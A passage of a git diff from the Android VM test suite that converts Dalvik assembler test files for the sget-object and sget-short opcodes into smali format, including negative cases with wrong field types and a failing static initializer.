-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_6.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali
new file mode 100644
index 0000000..ad58f96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_6.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d
deleted file mode 100644
index eb172eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_7.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_7no_class.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali
new file mode 100644
index 0000000..ee0bffd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_7.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d
deleted file mode 100644
index 841a454..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_8.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_8.i1N Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali
new file mode 100644
index 0000000..685cdba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_8.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d
deleted file mode 100644
index efd184b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_object.d.StubInitError
-.super java/lang/Object
-
-.field public static value Ljava/lang/Object;
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 1
-       div-int/2addr v1, v0
-
-       const v1, 0
-       sput-object v1, dot.junit.opcodes.sget_object.d.StubInitError.value Ljava/lang/Object;
-       return-void
-.end method
-
-
-.source T_sget_object_9.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.StubInitError.value Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..0bf0b75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x0
+
+    sput-object v1, Ldot/junit/opcodes/sget_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali
new file mode 100644
index 0000000..c2b44f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_9;
+.super Ljava/lang/Object;
+.source "T_sget_object_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d
deleted file mode 100644
index 777253e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_1.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_1
-.super java/lang/Object
-
-.field public static i1 S
-.field protected static p1 S
-.field private static pvt1 S
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.i1 S
-
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.p1 S
-
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.pvt1 S
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali
new file mode 100644
index 0000000..190e65d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_1.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+.field protected static p1:S
+.field private static pvt1:S
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d
deleted file mode 100644
index d0f87a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_11.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_11
-.super dot/junit/opcodes/sget_short/d/T_sget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_short/d/T_sget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.p1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali
new file mode 100644
index 0000000..723ca6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_11.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_11;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d
deleted file mode 100644
index 7a0a307..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_12.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_12
-.super dot/junit/opcodes/sget_short/d/T_sget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_short/d/T_sget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.pvt1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali
new file mode 100644
index 0000000..f508dab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_12.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_12;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d
deleted file mode 100644
index b37df82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_13.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_13.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali
new file mode 100644
index 0000000..69b8d0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_13.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_13;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d
deleted file mode 100644
index 3d79cd1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_14.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali
new file mode 100644
index 0000000..1a5a5d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/T_sget_short_14;
+.super Ljava/lang/Object;
+.source "T_sget_short_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d
deleted file mode 100644
index d8751e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_15.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_15
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali
new file mode 100644
index 0000000..0cbcdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_15.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d
deleted file mode 100644
index 48f416c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_16.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali
new file mode 100644
index 0000000..bb0b686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
